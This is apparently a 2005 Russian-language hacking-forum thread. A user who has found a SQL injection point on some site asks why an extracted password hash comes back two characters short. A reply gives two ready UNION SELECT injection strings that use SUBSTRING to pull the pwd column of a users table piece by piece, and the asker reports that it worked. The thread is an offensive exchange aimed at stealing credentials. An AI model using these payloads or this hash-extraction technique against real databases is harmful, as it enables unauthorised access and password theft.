вопрос по sql-injection

Discussion in 'Песочница' started by link., 13 Nov 2005.

  1. link.

    link. Elder - Старейшина

    Joined:
    15 May 2005
    Messages:
    47
    Likes Received:
    3
    Reputations:
    0
    Дело такое, нашел sql-inj ... подобрал колонки или т.д. и т.п., в итоге получился тако запрос:
    но при таком запросе данные выводятся не полностью, а именно хеш выводится но без последних двух символов, если пробовать изменять limit то сразу выдается ошибка что неверное кол-во колонок..нужен хепл...
     
  2. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Гм, а зачем тут вообще нужен лимит? И зачем "+" перед "/*"

    И вообще обрезаться ничего не должно. Скорее всего обрез идет внутри самого скрипта
     
  3. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Да, обрезание (слово то какое хорошее) явно делается скриптом. Попробуй воткуть pwd в другое поле. Или юзаешь SUBSTRING() (http://dev.mysql.com/doc/refman/4.0/ru/string-functions.html)
    т.е.
    -1'+union+select+1,2,SUBSTRING(pwd, 0, 30),4,5,6,7,8,9,10,11,12+from+ base.users+where+id=24+limit+0,1+/*
    потом
    -1'+union+select+1,2,SUBSTRING(pwd, 30, 2),4,5,6,7,8,9,10,11,12+from+ base.users+where+id=24+limit+0,1+/*
    вот вроде так
     
    _________________________
    2 people like this.
  4. link.

    link. Elder - Старейшина

    Joined:
    15 May 2005
    Messages:
    47
    Likes Received:
    3
    Reputations:
    0
    Trinux

    SUBSTRING() помогло, огромный респект... =))

    ну и +репутации =)